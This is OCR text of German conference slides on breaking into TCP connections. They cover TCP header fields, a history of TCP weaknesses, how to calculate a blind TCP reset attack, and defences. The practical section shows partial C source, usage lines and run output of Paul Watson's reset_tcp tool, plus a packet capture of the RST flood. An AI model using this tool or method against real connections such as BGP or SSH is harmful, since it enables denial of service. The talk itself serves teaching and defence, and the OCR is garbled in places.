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Was werde ich heute nicht erzahlen?
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Einbrechen Uber TCP-Verbindungen in Server / Dienste

Etwas zu IP, UDP oder ICMP (bzw. nur sehr wenig tber diese Themen)
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Agenda

+ Kurzer Sprint durch die Grundlagen von TCP

+~ Bekannte Schwachstellen / altere Angriffe?

+ TCP Reset Angriff (Theorie, Praxis, Schutz)
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oD TCP/IP und ISO OSI Modell

TCP/IP OSl Networking Function

Application
ProcessfAplication Presentation - Application
- User Interface
Session
‘End-to-end data integrity
Host-To-Host Transport -Service quality
Internet Network ‘Routing between networks
Datalink -Physical interconnection
Metwork Access
Physical between two points

(Quelle: www.netzmafia.de)
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:2  Transmission Control Protocol (TCP)

+ Zuverlassiges, verbindungsorientiertes Transportprotokoll
*~ Entwickelt von Robert E. Kahn und Vinton G. Cerf ab 1973
+~ Standardisierung 1981 in RFC 793

+ Erganzungen in RFC 1122 und 1213

* Auf Schicht 4 des OSI-Referenzmodell

*~  Punkt-zu-Punktverbindung in Vollduplex
+ Eindeutige Definition durch zwei Endpunkte (Tupel) aus |IP-Adresse und Port
=~ Sicherung der Datenubertragung durch Prafsumme und Quittierung mit

Zeituberwachung

+ Ein Bytestrom wird in Pakete, Segmente genannt, aufgeteilt
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{2 TCP - Interaktion mit Anwendungen

Sender/Empfanger

Sender/Empfanger

Anwendung

TCP-Verbindung (Fullduplex)

TCP-
Software

Server
IP: 192.168.0.1 IP: 192.168.0.2
Port: >1023 Port: 80

Client

(Quelle: www.wikipedia.de)
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TCP — Header

32 Bit
ol -
1 16 17 32
Source-Port Destination-Port
Sequence-Number
Acknowledgment-Number
Data UlA|P|R|S|F VWindow
Offset Reserved RIC|s|s|y!]
GIK/H|[T|IN|[N
Checksum Urgent Pointer
Options
(0 oder mehr 32 Bit-Worter)
(Quelle: www.wikipedia.de)
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s TCP — Header

+ Source Port - |Identifiziert den sendenden Prozess
=~ Destination Port - Identifiziert den Prozess des Zielsystems

+ Sequence Number - Nummer des ersten Datenbytes (Oktets) im jeweiligen
Segment (--> richtige Reihenfolge Uber verschiedene Verbindungen eintreffender
Segmente wieder herstellbar)

= Acknowledgement Number - Daten vom Empfanger bestatigt, wobei gleichzeitig
Daten in Gegenrichtung gesendet werden. Die Bestatigung wird also den Daten
"aufgesattelt" (Piggyback). Die Nummer bezieht sich auf eine Sequence-Nummer
der empfangenen Daten; alle Daten bis zu dieser Nummer (ausschlief3lich) sind
damit bestatigt --> Nummer des nachsten erwarteten Bytes.

+~ Data Offset - Da der Segment-Header ahnlich dem IP-Header Optionen
enthalten kann, wird hier die Lange des Headers in 32-Bit-Blocken angegeben.

~ Reserved - Reserviert fur spatere Nutzung

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen 9
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TCP — Header

+ (Code — Angabe der Funktion des Segments:

=

=

=

URG — Urgent-Pointer (siehe unten); Daten bevorzugt behandeln
ACK — Quittungs-Segment (Acknowledgement-Nummer gultig)

PSH — Auf Senderseite sofortiges Senden der Daten aus dem Sendepuffer
und auf Empfangsseite sofortige Weitergabe aller Daten aus dem
Empfangspuffer an die Applikation z. B. fur interaktive Programme

RST — Reset, Verbindung abbrechen / zurlicksetzen

SYN — Das 'Sequence Number'-Feld enthalt die initiale Byte-Nummer (ISN)
--> Numerierung beginnt mit ISN + 1. In der Bestatigung Ubergibt der
Empfanger seine ISN (Verbindungsaufbau).

FIN — Verbindung abbauen (Sender hat alle Daten gesendet), sobald der

Empfanger alles korrekt empfangen hat und selbst keine Daten mehr senden

maochte.
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s TCP — Header

Window — Spezifiziert die Fenstergro3e in Bytes, die der Empfanger bereit ist
ohne weitere Bestatigung anzunehmen — kann dynamisch geandert werden.

Checksum — 16-Bit Langsparitat tber Header und Daten

Urgent Pointer — Markierung eines Teils des Datenteils als dringend. Dieser wird
unabhangig von der Reihenfolge im Datenstrom sofort an das
Anwenderprogramm weitergegeben (URG-Code muss gesetzt sein). Der Wert
des Urgent-Pointers markiert das letzte abzuliefernde Byte; es hat die Nummer
<Sequence Number> + <Urgent Pointers.

Options — Dieses Feld dient dem Informationsaustausch zwischen beiden
Stationen auf der TCP-Ebene, z. B. die Segmentgroie (die Ihrerseits von der
Grof3e des IP-Datagramms abhangen sollte, um den Durchsatz im Netz optimal
zu gestalten).

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen 11
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Aufbau und Abbau einer TCP Session

A

A

A

Cli_ent

=ynchronisiere

Folgenummer A

Bestatigung

-4

-

Folgenummer B

Bestatigung

Daten

Server

““”“ihé

Client Server
li=sten
aktives SYH {1000}
open
SYH (3000) passives
=
ACK (1001} open
Yerbindung ACK (3001} Yerbindung
aufgebant aufgebaut
Voll-
duplex- | ___ACK, Daten
Yerhin-
dunug
Progr amm
:1HEEE::rﬂh ACK (3400) - erhglt EOF
rogr FIN {1500}
halbh ge- ” ACK (1501) TCP guitt.
schlos=sen FIH
” ACK (1501) close
FIH (3400) Programm
Yerbind. ACK {3401) . Yerhind.
ahgebaut ahgebaut

(Quelle: www.wikipedia.de / www.netzmafia.de)
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TCP - Zustandsubergangsdiagramm

CONNECT/5YM (Schritt 1 des 3-Way-Handshake)

(Start)
CLOSE/-
LISTEN/- T CLOSE/-
SYN/SYM+HACK (Schritt 2 des 3-way-Handshake)
i LISTEN
h 4
RST/- T SEND/SYN
S¥N g S¥N
EMPFANGEN < SYMSYM+ACHK (gleichzeitiges Offnen) GESENDET
Zustand der Datendbertragung
A »  ESTABLISHED |« ST ACHALR
{Schritt 3 des 3-Way-Handshakes)
CLOSE/FIN
CLOSE/FIN FINAACK
Aktives Schliefen Passives[SchlieBen
| ) 4 FINACK . Lo \ 4
FIN YWAIT 1 CLOSING CLOSE WAIT
i FIN+ACKIACK o
| ACK R o CLOSE/FIN
i v L v
i FIN WAIT 2 : TIMED WAIT Lo LAST ACK
: FINACK L
i Tirneout i :
ACK-

ungewdhnliches

® Ereignis

. Pfad des Clienten/

Empfingers

[ Pfad des Servers/

Senders

(Quelle: www.wikipedia.de)
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TCP - Zustandsubergangsdiagramm

= LISTEN — Warten auf ein Connection Request.
= SYN-SENT — Warten auf passendes Connection Request, nachsenden von SYN

= SYN-RECEIVED - Warten auf Bestatigung des Connection Request Acknowledgement,
nachdem beide Teilnehmer ein Connection Request empfangen und gesendet haben.

= ESTABLISHED — Offene Verbindung.

=  FIN-WAIT-1 — Warten auf ein Connection Termination Request des Kommunikationspartners
oder auf eine Bestéatigung des Connection Termination, das vorher gesendet wurde.

=  FIN-WAIT-2 — Warten auf ein Connection Termination Request des Kommunikationspartners.

= CLOSE-WAIT — Warten auf ein Connection Termination Request (CLOSE) der
darlberliegenden Schicht.

= CLOSING — Warten auf ein Connection Termination Request des Kommunikationspartners.
LAST-ACK: Warten auf die Bestatigung des Connection Termination Request, das zuvor an den
Kommunikationspartner gesendet wurde.

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen 14
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:_‘ |nu>¢\ n
: —
165 TCP — Datenubertragung
Empfénger Sender
Buffer Buffer
1 — SEQ=1, Daten: 1460 Byte 112]|3]| 4|58
1 Segment =1460 Byte SEG=1, ACK=1481, Daten: 0 Byte — Po$ter
12 — SEQ=1461, Daten: 1460 Byte 112 (%45
A
12 3 SEQ=2921, Daten: 1460 1123|458
A
12| 7]4 g SEQ=4381, Daten: 1460 Byte L
A
1lal2|als i SEQ=5841, Daten: 1460 Byte i l2lslals
SEQ=1, ACK=2921, Daten: O Byte — i
11213|als '1— SEG=2921, Daten: 1460 Byte Timer abgelaufen.
Das Segment 3 wird
SEQ=1, ACK=7301, Daten: 0 Byte —> noch einmal verschickt
(Quelle: www.wikipedia.de)
Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen 15
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Fi2 TCP - kleine Sicherheitshistorie

+ 1981: Spezifikation von TCP in RFC 793
= 1985: Robert Morris weist auf Schwachstellen in TCP hin

*+ 1994: Ausnutzen einer TCP-Schwachstelle in Kevin Mitnicks ,,Christmas Day
Attack® auf das Netz von Tsutomu Shimomura

= 1995: Paul Watson veroffentlicht ein Usenet Posting zu Schwachstellen in TCP

= 1995: Laurent Joncheray prasentiert auf der Usenix-Konferenz sein Paper zu
,Simple Active Attacks against TCP*

= 2001: Cert.org weist auf Schwachstellen in mehreren TCP/IP-Sequenznummern-
Generatoren und Probleme mit der Window-Size hin

= 2003: Paul Watson zeigt Angriffe auf TCP mit einer einfach DSL-Anbindung

+ 2004: Internet Engineering Task Force (IETF) veroffentlicht einen Draft zu
.improving TCP‘s Robustness to Blind In-Window Attacks”

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen 16
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,Einfache“ Angriffe

* Abhoren von TCP bzw. darauf basierenden Klartextprotokollen

=~ Denial of Service durch Reflektion von Paketen (SYN-Floods auf geschlossene
Ports) — besonders auf asynchrone Leitungen mit mehr Download- als Upload-
Kapazitat

~ Denial of Service durch SYN-Floods auf offene Ports

+ Ubernehmen, Resetten, Einschleusen von Paketen im ,Jokalen“ Netz (Werkzeug
,hunt“ von Pavel Krauz)

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen 17
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Abbrechen von TCP-Verbindungen

*+ Abbrechen durch eingeschleustes RST-Paket - > Verbindungsabbruch
(analog auch Einfugen von Daten in TCP-Verbindungen)

~ Ziele (langlebige TCP-Verbindungen)

=~ Border Gateway Protocol (BGP)
- SSL, TLS, SSH, DNS-Zonentransfers, IRC-Server

~ Datenbankverbindungen, Online Spiele, ....

= Aufwand? (IPs unserer Opfer und Zielport sollen bekannt sein)

=~ Sequenznummer raten — 2% Moglichkeiten (0 bis 4.294.967.295)
=~ Quellport raten — 2" Moglichkeiten ( 0 bis 65.535)

~ Theoretisch 2° * 2'° / 2 Pakete notig (22.313 Jahre bei 128 KBit/s Verbindung)

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen 18
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Sequenznummern und Window Size

*+ Fur diesen Fall gehen wir von komplett zufalligen initialen Sequenznummern aus
(die Realitat sieht leider anders aus, u.a. Fur Win95, Win98, NT, 2000, MacQOS,
IRIX, HP/UP, ...)

~ Aus RFC 793: Das Receive-Window ist der Bereich an Sequenznummern, die die
lokale TCP-Instanz zu empfangen bereit ist. Das lokale TCP akzeptiert jedes
Segment, dessen Sequenznummer mindestens der nachsten erwarteten
Sequenznummer (RCV.NXT) entspricht, aber kleiner als RCV.NXT plus
FenstergroBe (RCV.WND) ist.

R NG
R NXT +HGN WL

L S OQUENENUMMIE

Bereich 3: Kinhige Sequenznumman
Sind NoCh nkchE guiteg

Bersich 2: Akiuell gillige Sequenzaummienn

Boredch 1: AR Saguaninumimm,
Emgplang bereils besimigl

(Quelle: Linuxmagazin 08/2005)
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Initiale Window Size

+ Maximale GroBe der Window Size ist 2'°

* |nitiale Windows Size ist abhangig vom Betriebssystem ...

= Linux Kernel 2.4 /2.6 5.840 Byte
+ Open BSD 3.6 16.382 Byte
*  Windows 2000 SP1, SP2 17.520 Byte
*  Windows 2000 SP3, SP4 65.535 Byte
*  Windows 2000, ab April 2005 17.520 Byte
*  Windows XP Prof., SP2 65.535 Byte
*+ ...und von der Applikation ...
+ (Cisco Telnet 4.192 Byte
=~ Cisco BGP 16.384 Byte
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VergréBern der Window Size

+ Die Window Size wird wahrend einer Verbindung oft noch vergréert falls
,groBere” Datenmengen Ubertragen werden

+~ Zwei Linux-Rechner verbunden mit SSH (angezeigt wird die Ausgabe von
,Lop“), initiale Windows Size 5.840, Wert nach einiger Zeit ca. 16.000

= Linux-Rechner (5.840) per BGP mit Cisco-Router (16.384) nach wenigen
Minuten 16.616 auf beiden Seiten

~ RFC 1323 , TCP-Extensions for High Performance” (Leitungen mit hoher
Bandbreite und hoher Latenz) erlaubt Window Scaling (bei Windows zum Beispiel
um 2'*, also Faktor 16.384, also 1 GigaByte Windows!!!)

*~ Notwendige Anzahl an geratenen Paketen um im richtigen Sequenznummern-
bereich zu liegen ist im besten (schlechtesten?) Fall: 2% /2% /2™ =2 =4

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen 21
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Rettet uns der Quellport?

= Theoretisch sind fiir den Quellport 2'° (65.535) Werte denkbar (die 1.024
reservierten Werte ignorieren wir hier mal)

-~ Betriebssysteme wahlen Ports allerdings nicht zufallig und nicht Gber den
kompletten Wertebereich

= Linux (Kernel 2.4 / 2.6) mit mindestens 128 MB Hauptspeicher (sonst
kleinerer Bereich) verwendet Quellports zwischen 32.768 und 61.000 (Ports
darbber werden fir Masquerading benutzt) siehe
J/proc/sys/net/ipv4/ip_local_range®, die Gbrigen 28.232 Werte werden
beginnend bei 32.768 mit jeder Verbindung um 1 erhéht (nett fir Angreifer)

*+  Windows XP beginnt bei 1050 und erhoht ebenfalls immer um 1

=~ Cisco beginnt ebenfalls bei einem festen Wert (abhangig von der Version
des OS) und erh6ht dann um 1 bzw. Um 512

= Anzahl der zu testenden Ports wird drastisch reduziert

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen
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o TCP-Reset-Angriff

+ TCP-Reset-Angriff auf eine TCP-Verbindung tber typische T-DSL-Verbindung
(128 Kbit/s Upstream)

* “Erraten” werden muss die Sequenznummer (32 Bit)
= GroBe des Reset-Paketes (IP- und TCP-Header) 40 Byte (320 Bit)
*+ Typische Window-Gro3e bei Linux 2.4 / 2.6 ist 5.840 Bit

* Quellport bekannt (kann bestimmt werden):
4.294.967.295/5.840*320/128.000/2 = 15:19 Minuten

*~  Quellport unbekannt:
919s * 65.535 = 697 Tage

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen
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TCP-Reset-Angriff in der Praxis

+ Werkzeuge: ,reset_tcp.c” von Paul Watson und ,Libnet Packet Constrution

File Edit View Terminal Tabs Help
!.’:
By: Paul A. Watson
Build a TCP packet - based on tcpl.c sample code from libnet-1.1.1

COMPILE:
gce reset-tep.c -o reset-tcp fusr/lib/libnet.a
** be sure to modify the MAC addresses (enet_src/enet_dst) in the code, or you WILL have problems!

EXECUTE:
reset-tcp [interface] [src ip] [src port] [dst ip] [dst port] [window size]

EXAMPLE (and timing packets sent with /bin/date):
[root@orc BGP]# date; ./reset-tcp ethl 172.16.0.1 1 172.16.0.2 2 65536; date
Tue Dec 16 21:18:28 CST 2003
Packets sent: 8192 Sequence guess: 536805376
Packets sent: 16384 Sequence guess: 1073676288
Packets sent: 24576 Sequence guess: 1610547200
Packets sent: 32768 Sequence guess: 2147418112
Packets sent: 40960 Sequence guess: 2684280024
Packets sent: 40152 Sequence guess: 3221159936
Packets sent: 57344 Sequence guess: 3758030848
packets sent: 65535
Tue Dec 16 21:18:46 CST 2003
[root@orc BGP]#

.Jc/f

#include <libnet.h>
#include <stdio.h>

int main{int argc, char *argv[])
{
int c;
unsigned long int count=0;
unsigned long int count2=0;
unsigned long int segguess=0;

o~
‘ C%"‘ Q @ !I B root@fc3t3:~/tcp_reset/Slipping In the Window IGE]] @ 4:54 PM

Wilhelm Dolle, www.dolle.net Einbrechen in TCP-Verbindungen 24
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File Edit Wiew Terminal Tabs Help

I u_char *cp;
libnet_t *1;
libnet_ptag_t t;
char *payload;
char * device = argv([1l];
u_short payload_s;
u_long src_ip, dst_ip;
u_short src_prt, dst_prt;
char errbuf[LIBNET_ERRBUF_SIZE];

char sourceip[32]
char destinationip[32]

/% Change these to suit your local envirenment wvalues */
/% Make enet_dst either the default gateway or destination host */

u_char enet_src[6] = {0x00, Ox0c, 0x29, Ox7f, O0x52, 0x03}:
u_char enet_dst[6] = {0x00, Ox50, Ox56, OxcO, O0x00, O0x01}:
u_char org_code[3] = {0x00, Ox00, 0x00};

/% Its only test code, so minimal checking is performed... */
if (argc<y) {
printf("Usage: %= [interface] [src ip] [src port] [dst ip] [dst port] [window size]'n",argv[0]);
printf("**Be sure to re-compile with appropriate MAC addresses!!! You were warned.n");
exit(l);
}

strecpy(sourceip,argv[2]);

src_prt = atoilargv[3]);
strepy(destinationip,argv[4]);

dst_prt = atoilargv[5]);

seqincrement= atoi(argv([6]);

segstart= 0;

segmax = 420948967295; JE 2A32 =/

payload = NULL;

A
‘ @% Q @ !I B root@fc3t3:~/tcp_reset/Slipping In the Window QII} @ 5:02 PM
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File Edit \iew Terminal Tabs Help

[root@fc3t3 Slipping In the Window]# 1s
reset_tcp reset_tcp_rfc31337-compliant rest_tcp

Wl reset-tep.c reset-tep_rfc3l33V-compliant.c ttt-1.3r.tar.gz

- [root@fc3t3 Slipping In the Window]# date;./reset_tcp eth0 10.0.10.40 32771 10.0.1.50 22 5840;date
Mon Jan 24 17:30:52 CET 2005

(uglyl Packets sent: 8192 Sequence guess: 47835440

Packets sent: 16384 Sequence guess: 95676720
Packets sent: 24576 Sequence guess: 143518000
Packets sent: 32768 Sequence guess: 191359280
Packets sent: 40960 Sequence guess: 239200560
Packets sent: 49152 Sequence guess: 287041840
Packets sent: 57344 Sequence guess: 334883120
Packets sent: 65536 Sequence guess: 382724400
Packets sent: 73728 Sequence guess: 430565680
Packets sent: 81920 Sequence guess: 478406960
Packets sent: 90112 Sequence guess: 526248240
Packets sent: 98304 Sequence guess: 574089520
Packets sent: 106496 Sequence guess: 621930800
Packets sent: 114688 Sequence guess: 669772080
Packets sent: 122880 Sequence guess: 717613360
Packets sent: 131072 Sequence guess: 765454640
Packets sent: 139264 Sequence guess: 813295920
Packets sent: 147456 Sequence guess: 861137200
Packets sent: 155648 Sequence guess: 908978480
Packets sent: 163840 Sequence guess: 956819760
Packets sent: 172032 Sequence guess: 1004661040
Packets sent: 180224 Sequence guess: 1052502320
Packets sent: 188416 Sequence guess: 1100343600
Packets sent: 196608 Sequence guess: 11483184880
Packets sent: 204800 Sequence guess: 1196026160

reuoru

o) L]
‘C:% Q @ E}' B root@ fc3t3:~/tcp_reset/Slipping In the Window §) @ s49em
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TCP-Reset-Angriff in der Praxis

hd tcp_rst.log - Ethereal

File Edit View Go Capture Analyze Statistics Help
B DEx S QAP 9092z G FFheX &
4p Expressicn...l bglearl & Apply |

Frame 2 (74 bytes on wire, 74 bytes captured)
Ethernet II, Src: 00:0c:29:7+:52:03, Dst: 00:50:56:c0:00:01
Internet Protocol, Src Addr: 10.0.10.40 (10.0.10.40), Dst Addr: 10.0.1.50 (10.0.1.50)
Transmission Control Protocol, Src Port: 32771 (32771), Dst Port: ssh (2Z2), Seq: 11680, Ack: 0, Len: O
Source port: 32771 (32771)
Destination port: ssh (22)
Sequence number: 11630 (relative segquence number)
Header length: 20 bytes
- Flags: 0x0004 (RST)
O... .... = Congestion Window Reduced (CWR): Mot set
0., ... = ECH-Echo: Mot set
0. ... = Urgent: Mot set
.0 ... = Acknowledgment: Not set
. 0... = Push: Mot set
.1.. = Reset: Set
.0. = Syn: Mot set
.0 = Fin: Mot set
Window size: O
Checksum: 0xZ033

QVVV

carrect)

OUUU U0 9U gk cU UU UL UU UC 29 /¥ 97 U3 U8 UU 45 UU B ol N S
0010 00 28 00 f2 00 00 40 06 S5a 85 0a 00 0a Z8 03 00 B - A
0020 01 32 80 03 00 16 03 49 ec 80 00 00 00 01 50 04 . I ...... P.
0030 00 00 20 23 00 00 80 03 00 16 03 49 ec 80 00 00 T S
0040 00 01 30 04 00 Q0 Q0 00 00 00 e

P:213D: 213 M: 0

‘ No. - |Time | Source |De5tinaticn |3rctcccl | Info
1 0.000000 10.0.10.40 10.0.1.50 TCP 32771 » ssh [RET] Beq=0 Ack=0 Win=0 Len=0
2 0. 20 10,0 0. 40 0.0.1 .50 Previous ost] - » =55
3 0.019469 .0 0.1. TCP [TCP Previous segment lost] 32771 > =t
4 0.033263 10.0.10.40 10.0.1.590 TCF [TCP Previous segment lost] 32771 » ssh [R5T] Seq=39040 Ack=0
5 0.043818 10.0.10.40 10.0.1.50 TCP [TCF Prewvious segment lost] 32771 » ssh [RET] Seq=46720 Ack=0
6 0.054653 10.0.10.40 10.0.1.50 TCP [TCP Previous segment lost] 32771 » ssh [RET] Seq=58400 Ack=0
7 0.065737 10.0.10.40 10.0.1.50 TCP [TCP Previous segment lost] 32771 » ssh [RST] Seg=700380 Ack=0
S 0.077293 10.0.10.40 10.0.1.590 TCF [TCP Previous segment lost] 32771 » ssh [RET] Seq=81760 Ack=0
9 0.087857 10.0.10.40 10.0.1.50 TCP [TCF Previous segment lost] 32771 » ssh [RET] Seq=93440 Ack=0
10 0.100897 10.0.10.40 10.0.1.50 TCP [TCP Previous segment lost] 32771 » ssh [RST] Seg=1051Z20 Ack=0
11 0.142485 10.0.10.40 10.0.1.50 TCP [TCP Previous segment lost] 32771 » ssh [RST] Seg=116300 Ack=0
12 0123426 10.0.10.40 10.0.1.50 TCP [TCP Previous segment lost] 32771 » ssh [RST] Seg=128480 Ack=0
13 0.136736 10.0.10.40 10.0.1.50 TCP [TCF Previous segment lost] 32771 » ssh [RST] Seg=140160 Ack=0
14 0.150053 10.0.10.40 10.0.1.50 TCP [TCP Previous segment lost] 32771 » ssh [RST] Seg=151840 Ack=0
15 0.162426 10.0.10.40 10.0.1.50 TCP [TCP Previous segment lost] 32771 » ssh [RST] Seg=163520 Ack=0
15 N AF7PNEA 10 0 10 4N b I T O LS T TR [TCP Prewvinus secment lost]l 32771 % ash [RET1 Sen=1 75700 Ack=N

=0 Len=0

Win=0
Win=0
Win=0
Win=0
Win=0
Win=0
Win=0
Wim=0
Win=0
Win=0
Wim=0
Wim=0
Ilin=N

Len=0
Len=0
Len=0
Len=0
Len=0
Len=0
Len=0
Len=0
Len=0
Len=0
Len=0
Len=0
Len=0

(I=Ta i
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22 linogf . . .
«i)ﬁ% Wie schutzen wir uns?

* Modifizieren des TCP-Stack nach IETF Draft (RST-Paket muss genau passen)

TCF=548ck
- Datan w| | TCP-Vertindung besietr, Klassischer TCP-Stack
Sequenznummean ind gynchronigian
nach RFC 793
AST-Paket | |
Sequenznummer nichl axakt korrest, bl s
abarr im Emplangsionsior TOP-Siack
Y
Daten TCP=Vaibindung basbah,
- = Sequanznummenn Sind synchronisisen
RET-Pakil
s = -
Varbind arst oflen halia
MOd |f|Z|erter TC P'StaCk Saqueninummar nichl axakl Komek Laaal bt L L
. aba im Emplangshanstar
nach Vorschlagen der
I ETF CHK-Fakat
i
RST-Paket —
- Verbindung b mda
Soquanznumman aakl
(Quelle: Linuxmagazin 08/2005) -
Y
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b4 wd@Tazp:~
Lud®T42p 1% uname -a
Linux T42p.wdolle.de 2.6.9-1.681_FC3 #1 Thu Nov 18 15:10:10 EST 2004 i686 i686 i386 GNU/Linux
Lwd@T42p “1% netstat —nt
Active Internet connections (w/o servers)
Proto Recv—-0Q Send-0Q Local Address Foreign Address State
tcp 0 0 192.168.53.1:32771 192.168.53.150:22 ESTABLISHED
tecp 0 0 192.168.53.1:32773 192.168.53.150:22 ESTABLISHED
tcp 0 0 192.168.53.1:32772 192.168.53.150:22 ESTABLISHED
tep 0 0 192.168.53.1:32775 192.168.53.150:22 ESTABLISHED
tep 0 0 192.168.53.1:32774 192.168.53.150:22 ESTABLISHED
tcp 0 0 192.168.53.1:32777 192.168.53.150:22 ESTABLISHED
tecp 0 0 192.168.53.1:32776 192.168.53.150:22 ESTABLISHED
[wdeT42p ~1%5 |}

wdbgpd:~ 77
[wd®bgpd wdl$ netstat —atn | grep 127.0.0.1
tcp 0 0 127.0.0.1:6868 0.0.0.0:% LISTEN
tcp 0 0 127.0.0.1:6969 0.0.0.0:= LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:% LISTEN
tep 0 0 127.0.0.1:22 127.0.0.1:59008 ESTABLISHED
tep 0 0 127.0.0.1:46953 127.0.0.1:22 TIME_WALT
tep 0 0 127.0.0.1:38280 127.0.0.1:22 ESTABLISHED
tcp Q 0 127.0.0.1:22 127.0.0.1:43525 ESTABLISHED
tcp 0 0 127.0.0.1:53356 127.0.0.1:22 ESTABLISHED
tcp 0 0 127.0.0.1:22 127.0.0.1:45158 ESTABLISHED
tcp 0 0 127.0.0.1:45158 127.0.0.1:22 ESTABLISHED
tep 0 0 127.0.0.1:45150 127.0.0.1:22 ESTABLISHED
tep 0 0 127.0.0.1:22 127.0.0.1:38280 ESTABLISHED
tcp Q 0 127.0.0.1:22 127.0.0.1:42504 ESTABLISHED
tcp 0 0 127.0.0.1:22 127.0.0.1:53356 ESTABLISHED
tcp 0 0 127.0.0.1:59008 127.0.0.1:22 ESTABLISHED
tcp 0 0 127.0.0.1:42504 127.0.0.1:22 ESTABLISHED
tep 0 0 127.0.0.1:43525 127.0.0.1:22 ESTABLISHED
tep 0 0 127.0.0.1:51999 127.0.0.1:22 ESTABLISHED
tep 0 0 127.0.0.1:22 127.0.0.1:45150 ESTABLISHED
tcp Q 0 127.0.0.1:22 127.0.0.1:51999 ESTABLISHED
l_wd@bgpd wd1$ _J

Linux:

von 32.768
bis 61.000
(jeweils um
1 erhohen)

Linux mit
grsecurity-
Patch;
OpenBSD hat
dieses Feature
eingebaut
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Fragen?

Vielen Dank fiir die Aufmerksamkeit

Folien zeitnah unter: http://www.dolle.net
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